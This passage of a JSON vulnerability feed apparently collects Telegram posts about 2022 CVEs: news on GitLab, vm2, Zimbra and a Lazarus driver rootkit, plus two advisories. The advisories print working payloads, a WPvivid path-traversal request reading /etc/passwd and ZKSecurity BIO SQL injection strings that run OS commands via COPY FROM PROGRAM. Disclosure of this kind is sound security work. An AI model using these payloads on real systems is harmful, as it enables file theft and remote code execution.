Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A vulnerability in GitLab allowed attackers to stage various attacks against GitLab servers, including the cloud-hosted GitLab.com platform.The bug, reported by security researcher \u2018yvvdwf\u2019, was caused by the way GitLab imports data from GitHub, which could be exploited to run commands on the host server. Unsafe importsGitLab uses Octokit, a library that provides an interface to import data from the GitHub API. To retrieve and present its results, Octokit uses the HTTP client library Sawyer.\n\nHowever, GitLab directly used the Sawyer results returned by Octokit without sanitizing them, which provided opportunities to insert malicious commands.\n\nYvvdwf found that one of the parameters used in the import function was prone to command injections against GitLab\u2019s Redis database.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course RCE, information theft, and moreOn standalone GitLab installations, an attacker could exploit the command injection\u00a0bug to escalate from Redis to Bash and send commands to the operating system. Any potential attacker would have remote code execution (RCE) access to the host with the privileges of the host process.\n\nWhile the RCE\u00a0exploit did not work on GitLab.com, yvvdwf was able to use other Redis commands to replicate data from GitLab.com to a standalone server with a public IP. They were also able to poison GitLab projects through the same mechanism and make them inaccessible.\n\nAn attacker with a standalone GitLab installation and an API access token could use the exploit to steal information, inject malicious code, and perform other malicious actions against GitLab.com.\nTrending: A primer on OS Command Injection Attacks\nTrending: OSINT Tool: ProtOSINT Protecting GitLab serversThe vulnerability was assigned CVE-2022-2884\u00a0with a critical base score of 9.9 in the Common Vulnerability Scoring System.\n\nGitLab has already patched the issue in GitLab.com and published a critical security release\u00a0for GitLab Community Edition and Enterprise Edition.\n\nAll users are advised to upgrade their GitLab installation. For organizations that can\u2019t upgrade right away, GitLab advises them to secure their installation by disabling imports until they can patch their system.\n\nWhile GitLab users will be safe by using the cloud or updated self-hosted version of the platform, other services that use Octakit to interact with GitHub\u00a0should be wary and make sure that they perform the right checks around the data they pass on and receive through the library.\n\n\u200b\nTrending: Microsoft SQL servers hacked with FARGO ransomware attacks Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-5-300x150.png New npm timing attack could lead to supply chain attacksOctober 13, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-4-300x150.png Critical RCE Vulnerability Found in vm2 Sandbox LibraryOctober 12, 2022[...]", "vulnerability": "CVE-2022-2884", "author": {"login": "automation"}}, {"uuid": "227fc367-432e-4e37-8b7e-34b715e979ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.926983+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/72913", "content": "hacking: security in practice\nFortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass Technical Deep Dive (CVE-2022-40684)\n\nhttps://external-preview.redd.it/pOrwqOKKFnGcTN305sQA5fbJ1gdxEvgsV9O_mKTYNw4.jpg?width=640&crop=smart&auto=webp&s=30a2c94b0e21f8454ed3e3f3ad8414b5d7508e9d submitted by /u/CyberMasterV \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-40684", "author": {"login": "automation"}}, {"uuid": "c77b8ad1-4170-4f28-85a5-88c4b2397796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.888697+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/72963", "content": "CVE-2022\u201333077: IDOR to change address of any customer via parameter pollution in nopCommerce <= 4.5\nhttps://medium.com/@rohan_pagey/cve-2022-33077-idor-to-change-address-of-any-customer-via-parameter-pollution-in-nopcommerce-4-5-2fa4bc763cc6?source=rss------bug_bounty-5\n\nTL;DR: A POST request to edit the address endpoint involved two addressID parameters (one in the URL and other in the request body)\u2026Continue reading on Medium \u00bb (https://medium.com/@rohan_pagey/cve-2022-33077-idor-to-change-address-of-any-customer-via-parameter-pollution-in-nopcommerce-4-5-2fa4bc763cc6?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-33077", "author": {"login": "automation"}}, {"uuid": "3c35c13e-7cfe-46b4-86d5-c41b1d25b057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.850725+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/72594", "content": "CVE-2022\u201341040 Microsoft Exchange vulnerable to server-side request forgery\nhttps://medium.com/@Dhamuharker/cve-2022-41040-microsoft-exchange-vulnerable-to-server-side-request-forgery-79de11106ad5?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41040", "author": {"login": "automation"}}, {"uuid": "54dfaaf7-3c20-42b2-869b-f54519c4192b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.809877+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/72596", "content": "Overview:Continue reading on Medium \u00bb (https://medium.com/@Dhamuharker/cve-2022-41040-microsoft-exchange-vulnerable-to-server-side-request-forgery-79de11106ad5?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41040", "author": {"login": "automation"}}, {"uuid": "a07b07ab-3eb9-4dd9-b683-74191a466076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.769753+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/72607", "content": "Black Hat Ethical Hacking\nCritical RCE Vulnerability Found in vm2 Sandbox Library\n\nCritical RCE Vulnerability Found in vm2 Sandbox LibraryPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Researchers are warning of a critical remote code execution flaw in \u2018vm2\u2019, a JavaScript sandbox library downloaded over 16 million times per month via the NPM package repository.The vm2 vulnerability is tracked as CVE-2022-36067 and received a severity rating of 10.0, the maximum score in the CVSS system, as it could allow attackers to escape the sandbox environment and run commands on a host system.\n\nSandboxes are meant to be an isolated environment that is walled off from the rest of the operating system. However, as developers commonly use sandboxes to run or test potentially unsafe code, the ability to \u201cescape\u201d from this confined environment and execute code on the host is a massive security problem.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Escaping the sandboxSecurity researchers at Oxeye have found a clever way to customize the call stack of an error that occurs in VM2 to generate \u201cCallSite\u201d objects created outside the sandbox and use them to access Node\u2019s global objects and execute commands.\n\nWhile the library\u2019s authors attempted to mitigate this possibility in the past, Oxeye\u2019s researchers found a way to bypass this mitigation mechanism by using a custom implementation of the \u201cprepareStackTrace\u201d method.\n\n\u201cThe reporter\u2019s POC bypassed the logic above since vm2 missed wrapping specific methods related to the \u201cWeakMap\u201d JavaScript built-in type,\u201d the researchers explain in their report. \n\n\u201cThis allowed the attacker to provide their own implementation of \u201cprepareStackTrace,\u201d then trigger an error, and escape the sandbox.\u201d\nhttps://www.bleepstatic.com/images/news/u/1220909/Diagrams/sandbox-escape-process.png \nUpdate as soon as possibleOxeye\u2019s research team discovered this critical problem on August 16, 2022, and reported it to the VM2 team a couple of days later, who confirmed they had launched an investigation.\n\nEventually, the authors of the popular library released version 3.9.11 on August 28, 2022, which addressed the sandbox escape and code execution problems.\n\nSoftware developers are urged to update to the latest VM2 version and replace older releases in their projects as soon as possible.\n\nFor end users, it is important to note that it could take a while before virtualization software tools relying on VM2 apply the available security update.\n\nAs we saw with Log4Shell, a critical security problem in a widely deployed open-source library may persist for extended periods without the impacted users even knowing they\u2019re vulnerable due to the obscurity in the supply chain.\n\nIf you use a sandbox solution, check if it relies on VM2 and whether it\u2019s using the latest version.\nTrending: Microsoft SQL servers hacked with FARGO ransomware attacks Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Secur[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-36067", "author": {"login": "automation"}}, {"uuid": "dcb5a5ac-9463-4545-aa86-01b66797b649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.730467+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/71970", "content": "Simple College Website 1.0 was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution.Continue reading on Medium \u00bb (https://gowthamaraj-rajendran.medium.com/how-i-found-cve-2022-40087-e20318c0f7dc?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-40087", "author": {"login": "automation"}}, {"uuid": "ed93c448-5b88-44e6-9bdf-452eea9912ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.688715+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/72486", "content": "Black Hat Ethical Hacking\nZimbra remote code execution vulnerability actively exploited in the wild\n\nZimbra remote code execution vulnerability actively exploited in the wildPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A zero-day remote code execution (RCE) vulnerability in Zimbra is being actively exploited in the wild.\u200b\n\nThe bug was assigned the tracker CVE-2022-41352\u00a0in late September. Issued a CVSS severity score of 9.8, the critical issue can be exploited to plant a shell in the software\u2019s root directly, achieving RCE and enabling attackers to wreak havoc on a vulnerable system. Zimbra, once known as the Zimbra Collaboration Suite (ZCS), is an open source\u00a0email suite. The software is relied upon by millions of users and is designed for managing enterprise and SMB email and collaboration tools.\n\nAccording to Rapid7\u2019s AttackerKB project, CVE-2022-41352 is an RCE that \u201carises from unsafe usage of the cpio utility, specifically from Zimbra\u2019s antivirus engine\u2019s (Amavis) use of the vulnerable cpio utility to scan inbound emails\u201d.\n\nTo launch a successful attack, a threat actor would need to email a .cpio, .tar, or .rpm\u00a0file to a vulnerable server. Amavis would then scan the message for malware and use the cpio file utility to extract its content.\n\nHowever a \u2018loophole\u2019 exists where attackers could leverage cpio\u00a0to write to a target folder, or as Rapid7 says, \u201cwrite to any path on the filesystem that the Zimbra user can access\u201d.\n\nOnce inside, for example, an attacker may be able to extract emails, tamper with user accounts, wipe information, or conduct Business Email Compromise\u00a0(BEC) scams.\n\nOracle Linux 8, Red Hat Enterprise Linux 8, Rocky Linux 8, and CentOS 8 builds are vulnerable.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course \u2018Effectively identical\u2019Rapid7 researchers noted that CVE-2022-41352 is \u201ceffectively identical\u201d to CVE-2022-30333, a path traversal\u00a0bug in RarLab\u2019s unrar binary which also triggers an RCE in Zimbra. The only difference appears to be the file type (.cpio, instead of .rar).\n\nAccording to Rapid7 researcher Ron Bowes, the vulnerability is an exploit path for CVE-2015-1194, a bug that was patched in 2019. However, it appears that some distributions unintentionally remove the fix.\n\nA Zimbra forum post indicates that the vulnerability\u00a0is being actively exploited in the wild. Proof of concept (PoC) exploit code has been released.\n\nZimbra has acknowledged the vulnerability and says that a fix is being developed. In the meantime, Zimbra is urging users to install the pax package immediately and restart Zimbra as a workaround.\n\nPax is used for reading or writing archived file content and is not vulnerable to this exploit \u2013 but, unfortunately, Pax is not included by default. If Pax has not been installed, Amavis will resort to using cpio, and Zimbra says the \u201cpoor implementation\u201d of this process that created the vulnerability in the first place.\nTrending: A primer on OS Command Injection Attacks\nTrending: OSINT Tool: ProtOSINT Zimbra intends to remove the cpio dependency and make Pax a requirement.\n\nThere\u2019s better news for Ubuntu users \u2013 Pax is installed by default in Ubuntu 20.04, and in Ubuntu 18.04, a custom patch issued for cpio provides protection.\nTrending: Microsoft SQL servers hacked with FARGO ransomware attacks Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an arti[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41352", "author": {"login": "automation"}}, {"uuid": "f2413f69-3598-47c6-99d5-f1b1f59d6089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.646518+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/72486", "content": "Black Hat Ethical Hacking\nZimbra remote code execution vulnerability actively exploited in the wild\n\nZimbra remote code execution vulnerability actively exploited in the wildPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A zero-day remote code execution (RCE) vulnerability in Zimbra is being actively exploited in the wild.\u200b\n\nThe bug was assigned the tracker CVE-2022-41352\u00a0in late September. Issued a CVSS severity score of 9.8, the critical issue can be exploited to plant a shell in the software\u2019s root directly, achieving RCE and enabling attackers to wreak havoc on a vulnerable system. Zimbra, once known as the Zimbra Collaboration Suite (ZCS), is an open source\u00a0email suite. The software is relied upon by millions of users and is designed for managing enterprise and SMB email and collaboration tools.\n\nAccording to Rapid7\u2019s AttackerKB project, CVE-2022-41352 is an RCE that \u201carises from unsafe usage of the cpio utility, specifically from Zimbra\u2019s antivirus engine\u2019s (Amavis) use of the vulnerable cpio utility to scan inbound emails\u201d.\n\nTo launch a successful attack, a threat actor would need to email a .cpio, .tar, or .rpm\u00a0file to a vulnerable server. Amavis would then scan the message for malware and use the cpio file utility to extract its content.\n\nHowever a \u2018loophole\u2019 exists where attackers could leverage cpio\u00a0to write to a target folder, or as Rapid7 says, \u201cwrite to any path on the filesystem that the Zimbra user can access\u201d.\n\nOnce inside, for example, an attacker may be able to extract emails, tamper with user accounts, wipe information, or conduct Business Email Compromise\u00a0(BEC) scams.\n\nOracle Linux 8, Red Hat Enterprise Linux 8, Rocky Linux 8, and CentOS 8 builds are vulnerable.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course \u2018Effectively identical\u2019Rapid7 researchers noted that CVE-2022-41352 is \u201ceffectively identical\u201d to CVE-2022-30333, a path traversal\u00a0bug in RarLab\u2019s unrar binary which also triggers an RCE in Zimbra. The only difference appears to be the file type (.cpio, instead of .rar).\n\nAccording to Rapid7 researcher Ron Bowes, the vulnerability is an exploit path for CVE-2015-1194, a bug that was patched in 2019. However, it appears that some distributions unintentionally remove the fix.\n\nA Zimbra forum post indicates that the vulnerability\u00a0is being actively exploited in the wild. Proof of concept (PoC) exploit code has been released.\n\nZimbra has acknowledged the vulnerability and says that a fix is being developed. In the meantime, Zimbra is urging users to install the pax package immediately and restart Zimbra as a workaround.\n\nPax is used for reading or writing archived file content and is not vulnerable to this exploit \u2013 but, unfortunately, Pax is not included by default. If Pax has not been installed, Amavis will resort to using cpio, and Zimbra says the \u201cpoor implementation\u201d of this process that created the vulnerability in the first place.\nTrending: A primer on OS Command Injection Attacks\nTrending: OSINT Tool: ProtOSINT Zimbra intends to remove the cpio dependency and make Pax a requirement.\n\nThere\u2019s better news for Ubuntu users \u2013 Pax is installed by default in Ubuntu 20.04, and in Ubuntu 18.04, a custom patch issued for cpio provides protection.\nTrending: Microsoft SQL servers hacked with FARGO ransomware attacks Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an arti[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-30333", "author": {"login": "automation"}}, {"uuid": "07556c49-9d81-4836-b875-a7dad61f9db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.606761+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/72486", "content": "Black Hat Ethical Hacking\nZimbra remote code execution vulnerability actively exploited in the wild\n\nZimbra remote code execution vulnerability actively exploited in the wildPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A zero-day remote code execution (RCE) vulnerability in Zimbra is being actively exploited in the wild.\u200b\n\nThe bug was assigned the tracker CVE-2022-41352\u00a0in late September. Issued a CVSS severity score of 9.8, the critical issue can be exploited to plant a shell in the software\u2019s root directly, achieving RCE and enabling attackers to wreak havoc on a vulnerable system. Zimbra, once known as the Zimbra Collaboration Suite (ZCS), is an open source\u00a0email suite. The software is relied upon by millions of users and is designed for managing enterprise and SMB email and collaboration tools.\n\nAccording to Rapid7\u2019s AttackerKB project, CVE-2022-41352 is an RCE that \u201carises from unsafe usage of the cpio utility, specifically from Zimbra\u2019s antivirus engine\u2019s (Amavis) use of the vulnerable cpio utility to scan inbound emails\u201d.\n\nTo launch a successful attack, a threat actor would need to email a .cpio, .tar, or .rpm\u00a0file to a vulnerable server. Amavis would then scan the message for malware and use the cpio file utility to extract its content.\n\nHowever a \u2018loophole\u2019 exists where attackers could leverage cpio\u00a0to write to a target folder, or as Rapid7 says, \u201cwrite to any path on the filesystem that the Zimbra user can access\u201d.\n\nOnce inside, for example, an attacker may be able to extract emails, tamper with user accounts, wipe information, or conduct Business Email Compromise\u00a0(BEC) scams.\n\nOracle Linux 8, Red Hat Enterprise Linux 8, Rocky Linux 8, and CentOS 8 builds are vulnerable.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course \u2018Effectively identical\u2019Rapid7 researchers noted that CVE-2022-41352 is \u201ceffectively identical\u201d to CVE-2022-30333, a path traversal\u00a0bug in RarLab\u2019s unrar binary which also triggers an RCE in Zimbra. The only difference appears to be the file type (.cpio, instead of .rar).\n\nAccording to Rapid7 researcher Ron Bowes, the vulnerability is an exploit path for CVE-2015-1194, a bug that was patched in 2019. However, it appears that some distributions unintentionally remove the fix.\n\nA Zimbra forum post indicates that the vulnerability\u00a0is being actively exploited in the wild. Proof of concept (PoC) exploit code has been released.\n\nZimbra has acknowledged the vulnerability and says that a fix is being developed. In the meantime, Zimbra is urging users to install the pax package immediately and restart Zimbra as a workaround.\n\nPax is used for reading or writing archived file content and is not vulnerable to this exploit \u2013 but, unfortunately, Pax is not included by default. If Pax has not been installed, Amavis will resort to using cpio, and Zimbra says the \u201cpoor implementation\u201d of this process that created the vulnerability in the first place.\nTrending: A primer on OS Command Injection Attacks\nTrending: OSINT Tool: ProtOSINT Zimbra intends to remove the cpio dependency and make Pax a requirement.\n\nThere\u2019s better news for Ubuntu users \u2013 Pax is installed by default in Ubuntu 20.04, and in Ubuntu 18.04, a custom patch issued for cpio provides protection.\nTrending: Microsoft SQL servers hacked with FARGO ransomware attacks Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an arti[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2015-1194", "author": {"login": "automation"}}, {"uuid": "fa0857ca-02b7-42fa-9906-b6118ed6b7c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.568105+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/71700", "content": "Exploit Collector\nWordPress WPvivid Backup Path Traversal\n\nhttps://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png \nWordPress WPvivid Backup plugin versions prior to 0.9.76 suffer from a path traversal vulnerability.\n\nSHA-256 | fb090fe06b8107185b5b73bdfac52e984a5bd3987e4e8a14397734095d06addf\n\nDownload\n=====[ Tempest Security Intelligence - ADV-15/2022\n]==========================\n\nWordpress plugin - WPvivid Backup - Version < 0.9.76\n\nAuthor: Rodolfo Tavares\n\nTempest Security Intelligence - Recife, Pernambuco - Brazil\n\n=====[ Table of Contents]==================================================\n* Overview\n* Detailed description\n* Timeline of disclosure\n* Thanks & Acknowledgements\n* References\n\n=====[ Vulnerability\nInformation]=============================================\n* Class: Improper Limitation of a Pathname to a Restricted Directory\n('Path Traversal')\n('Path Traversal') [CWE-22]\n\n* CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n* CVSS Base Score 7.2\n\n=====[ Overview]========================================================\n* System affected : Wordpress plugin - WPvivid Backup\n* Software Version : Version < 0.9.76\n* Impacts : The plugin WPvivid Backup does not sanitise and validate a\nparameter before using it to read the content of a file, allowing high\nprivilege users to read any file from the web server via a Traversal attack.\n\n=====[ Detailed\ndescription]=================================================\n* Steps to reproduce\n\n1 - Authenticated as privilege user, copy the request below, change the\nplaceholder {{nonce}} with a valid nonce:\n```\n\nhttps://example.com/wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922\n```\n\n=====[ Timeline of\ndisclosure]===============================================\n\n11/Aug/2022 - Responsible disclosure was initiated with the vendor.\n15/Aug/2022 - WPvivid Support confirmed the issue.\n16/Aug/2022 - WPvivid Support fix the issue.\n08/Aug/2022 - CVEs was assigned and reserved as CVE-2022-2863.\n\n=====[ Thanks & Acknowledgements]========================================\n* Tempest Security Intelligence [5]\n\n=====[ References ]=====================================================\n\n[1][ [\nhttps://cwe.mitre.org/data/definitions/22.html]|https://cwe.mitre.org/data/definitions/22.html\n]]\n[2][ [\nhttps://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a]|https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a\n[3][ [https://www.tempest.com.br|https://www.tempest.com.br/]]\n[4][ [\nhttps://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]|https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]]\n]\n[5][ [Thanks FXO,ACPM,MFPP]]\n\n=====[ EOF ]===========================================================\n--\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-2863", "author": {"login": "automation"}}, {"uuid": "f9b03e88-2436-4ee1-af37-4d24806bd6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.528132+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/71968", "content": "How I found `CVE-2022\u201340087`\nhttps://gowthamaraj-rajendran.medium.com/how-i-found-cve-2022-40087-e20318c0f7dc?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-40087", "author": {"login": "automation"}}, {"uuid": "33a2e5f5-04d0-4332-9ede-23c4c2587afa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.481853+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/71855", "content": "hacking: security in practice\nAlternative for flipper zero for Honda cve-2022-27254 hack?\n\nI'm trying to put out a content to make people aware of the cve-2022-27254 vulnerability, but I don't want to spend $400 on a HackerRf or $300 on a flipper zero (they're out of stock). Any alternatives for me to test this hack and make it work without having to spend an eye?\n\nsubmitted by /u/The_SuperTeacher \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-27254", "author": {"login": "automation"}}, {"uuid": "44cb2b7f-8006-427b-bebc-13f880e36247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.436302+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/71341", "content": "Exploit Collector\nZKSecurity BIO 4.1.2 SQL Injection / Code Execution\n\nhttps://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png \nZKSecurity BIO version 4.1.2 suffers from a remote SQL injection vulnerability that can allow for remote code execution.\n\nSHA-256 | 2f5ddba7cf7e3024ddc6ad5a39968b8c149a652831c65c828f1565ea29f0e84d\n\nDownload\n#######################ADVISORY INFORMATION#######################\n\nProduct: ZKSecurity BIO\n\nVendor: ZKTeco (\nhttps://www.zkteco.com/en/ZKBiosecurity/ZKBioSecurity_V5000_4.1.2)\n\nVersion Affected: 4.1.2\n\nCVE: CVE-2022-36635\n\nVulnerability: SQL Injection (with a plus: RCE)\n\n#######################CREDIT#######################\n\nThis vulnerability was discovered and researched by Caio Burgardt and\nSilton Santos.\n\n#######################INTRODUCTION#######################\n\nBased on the hybrid biometric technology and computer vision technology,\nZKBioSecurity provides a comprehensive web-based security platform. It\ncontains multiple integrated modules: personnel, time & attendance, access\ncontrol, visitor management, offline & online consumption management, guard\npatrol, parking, elevator control, entrance control, Facekiosk, intelligent\nvideo management, mask and temperature detection module, and other smart\nsub-systems.\n\n#######################VULNERABILITY DETAILS#######################\n\nThe parameters opTimeBegin e opTimeEnd are simply concatenated to the SQL\nquery, with only a sanitization filter in front of it. Using comments\n(/**/) in place of spaces was enough to confuse and bypass the filter.\n\n#######################PROOF OF CONCEPT#######################\n\nNote that the request delayed 10s:\n\nPOST /baseOpLog.do HTTP/1.1\n\nHost: {HOST}\n\nContent-Type: application/x-www-form-urlencoded\n\nCookie: SESSION={COOKIE}; menuType=icon-only\n\nContent-Length: 208\n\nlist&pageSize=50&opTimeBegin=2022-06-26%2000:00:00')/**/tmp_count;select/**/pg_sleep(10);/**/select+1+from+BASE_OPLOG/**/WHERE/**/'1'='1&opTimeEnd=2022-09-26%2023:59:59&sortName=&sortOrder=&posStart=0&count=50\n\nif you use the next query, you can execute remote command:\n\nlist&pageSize=50&opTimeBegin=2022-04-11%2000:00:00&opTimeEnd=2022-07-11%2023:59:59')/**/tmp_count;DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec/**/(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'ping+domain';SELECT/**/*/**/FROM/**/cmd_exec;/**/SeLECT/**/count/**/(1)/**/fRom/**/(SeLECT/**/t.CREATE_TIME/**/fROM/**/BASE_OPLOG/**/t/**/where/**/'1'='\n#######################END#######################\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-36635", "author": {"login": "automation"}}, {"uuid": "e976535b-c72b-422a-b400-7541f46cd9fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.390055+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/71502", "content": "Black Hat Ethical Hacking\nLazarus hackers abuse Dell driver bug using new FudModule rootkit\n\nLazarus hackers abuse Dell driver bug using new FudModule rootkitPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes The notorious North Korean hacking group \u2018Lazarus\u2019 was seen installing a Windows rootkit that abuses a Dell hardware driver in a Bring Your Own Vulnerable Driver attack.The spear-phishing campaign unfolded in the autumn of 2021, and the confirmed targets include an aerospace expert in the Netherlands and a political journalist in Belgium.\n\nAccording to ESET, which published a report on the campaign today, the primary goal was espionage and data theft.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Abusing Dell driver for BYOVD attacksThe EU-based targets of this campaign were emailed fake job offers, this time for Amazon, a typical\u00a0and common\u00a0social engineering trick employed by the hackers\u00a0in 2022.\n\nOpening these documents downloads a remote template from a hardcoded address, followed by infections involving malware loaders, droppers, custom backdoors, and more.\n\nESET reports that among the tools deployed in this campaign, the most interesting is a new FudModule rootkit that abuses a BYOVD (Bring Your Own Vulnerable Driver) technique to exploit a vulnerability in a Dell hardware driver for the first time.\n\n\u201cThe most notable tool delivered by the attackers was a user-mode module that gained the ability to read and write kernel memory due to the CVE-2021-21551 vulnerability in a legitimate Dell driver,\u201d explains ESET in a new report\u00a0on the attack.\n\n\u201cThis is the first ever recorded abuse of this vulnerability in the wild.\u201d\n\n\u201cThe attackers then used their kernel memory write access to disable seven mechanisms the Windows operating system offers to monitor its actions, like registry, file system, process creation, event tracing etc., basically blinding security solutions in a very generic and robust way.\u201d\n\nA Bring Your Own Vulnerable Driver (BYOVD) attack is when threat actors load legitimate, signed drivers in Windows that also contain known vulnerabilities. As the kernel drivers are signed, Windows will allow the driver to be installed in the operating system.\n\nHowever, the threat actors can now exploit the driver\u2019s vulnerabilities to launch commands with kernel-level privileges.\n\nIn this attack, Lazarus was exploiting the CVE-2021-21551 vulnerability in a Dell hardware driver\u00a0(\u201cdbutil_2_3.sys\u201d), which corresponds to a set of five flaws\u00a0that remained exploitable for 12 years before the computer vendor finally pushed security updates for it.\nhttps://www.bleepstatic.com/images/news/security/vulnerabilities/dbutil-properties.jpg \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-21551", "author": {"login": "automation"}}, {"uuid": "a09414c7-39fe-48b0-bd7d-09bc804b697b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 